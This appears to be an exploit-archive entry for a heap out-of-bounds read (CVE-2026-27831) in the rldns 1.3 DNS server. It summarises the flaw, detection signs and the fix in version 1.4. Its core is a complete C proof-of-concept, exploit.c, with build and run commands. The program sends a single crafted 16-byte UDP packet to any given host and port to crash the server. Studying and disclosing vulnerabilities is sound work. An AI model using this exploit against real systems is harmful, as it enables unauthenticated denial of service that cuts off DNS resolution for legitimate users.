rldns 1.3 Heap-Based Out-of-Bounds Read Remote DoS (CVE-2026-27831)

by Antonius (bluedragonsecurity.com) · 2026-07-05

Metadata

Field	Value
Date Added	2026-07-05
Last Updated	2026-02
Author / Researcher	Antonius (bluedragonsecurity.com)
CVE / Advisory	CVE-2026-27831
Category	binary
Severity	Medium
CVSS Score	Not specified in source
Status	PoC
Tags	dns, heap-overflow, out-of-bounds-read, denial-of-service, rldns, memory-corruption, x86_64
Related	N/A

Affected Target

Field	Value
Software / System	rldns 1.3 (open-source DNS server)
Versions Affected	1.3 (fixed in 1.4)
Language / Platform	C (exploit); target runs on Linux, FreeBSD, NetBSD, x86_64
Authentication Required	No
Network Access Required	Yes

Summary

rldns is an open-source DNS server for Linux, FreeBSD, and NetBSD. Version 1.3 contains a heap-based out-of-bounds read that can be triggered remotely by sending a specially crafted, malformed DNS-like UDP packet, causing the server process to crash and resulting in denial of service. The included PoC is a small C program that builds a fixed 16-byte malformed packet and sends it via a raw UDP socket to the target’s DNS port. Version 1.4 of rldns contains the fix for this issue.

Vulnerability Details

Root Cause

The rldns 1.3 packet parser reads past the bounds of a heap-allocated buffer when handling a malformed packet with an inconsistent/truncated record structure, leading to an out-of-bounds heap read that crashes the service.

Attack Vector

Identify a target host running rldns 1.3 on its DNS UDP port.
Send the crafted 16-byte malformed packet (0x12 0x34 0x34 0x00 ... 0xff) via a raw UDP socket to the target IP and port.
The rldns parser reads out of bounds while processing the malformed packet.
The service crashes, denying DNS resolution to legitimate clients.

Impact

Remote, unauthenticated denial of service against the rldns DNS service with a single crafted UDP packet.

Environment / Lab Setup

Target:   rldns 1.3 on Linux/FreeBSD/NetBSD, x86_64, DNS UDP port reachable
Attacker: Linux (tested on Kali Linux 2025) with a C compiler (gcc)

Proof of Concept

PoC Script

See exploit.c in this folder.

1
2
gcc -o exploit exploit.c
./exploit <target ip> <port number>

The program opens a UDP socket and sends a single fixed 16-byte malformed packet to the target’s rldns port; a successful crash of the target service confirms the vulnerability.

Detection & Indicators of Compromise

Signs of compromise:

Unexpected rldns process termination or automatic restart in service logs
A single anomalous 16-byte UDP packet to the DNS port immediately preceding the crash
DNS resolution outages without corresponding configuration changes

Remediation

Action	Detail
Primary fix	Upgrade to rldns 1.4 or later
Interim mitigation	Restrict/filter inbound UDP DNS traffic to trusted resolvers where possible, and monitor for repeated service crashes/restarts

References

Source repository

Notes

Mirrored from https://github.com/bluedragonsecurity/CVE-2026-27831-POC on 2026-07-05.

exploit.c

c raw GitHub ↓ Download

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
/*
# Exploit Title: rldns-1.3 remote denial of service
# Google Dork: N/A
# Date: 2026-02-26
# Exploit Author: Antonius
# Vendor Homepage: https://indodev.asia
# Software Link: https://indodev.asia/downloads/rldns-1.3.tar.bz2
# Version: 1.3
# Tested on: Kali linux 2025
# CVE : CVE-2026-27831

# Description:
This is proof of concept exploit for remote heap based out-of-bound read at rldns version 1.3.
rldns is an open source DNS server for linux, freebsd & netbsd, running on x86_64 architecture. 
Rldns Version 1.3 has a heap-based out-of-bounds read that leads to denial of service. Version 1.4 contains a patch for the issue.
Vulnerability discovered by : Antonius 
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <unistd.h>

int main(int argc, char *argv[]) {
    int sock;
    struct sockaddr_in server;
    unsigned char packet[] = {0x12, 0x34, 0x34, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x41, 0x42, 0xff}; 

    if (argc < 3) {
        printf("[-] usage : ./exploit <target ip> <port number>");
        exit(-1);
    }
    char *ip = argv[1];
    int port = atoi(argv[2]);
    sock = socket(AF_INET, SOCK_DGRAM, 0);
    if (sock < 0) {
        perror("[-] failed to create socket");
        exit(-1);
    }

    server.sin_family = AF_INET;
    server.sin_port = htons(port);
    inet_pton(AF_INET, ip, &server.sin_addr);
    ssize_t sent = sendto(sock, packet, 16, 0, (const struct sockaddr *)&server, sizeof(server));
    
    if (sent < 0) {
        perror("Sendto failed");
    } else {
        printf("Successfully sent %zd bytes to %s:%d\n", sent, ip, port);
    }

    close(sock);

    return 0;
}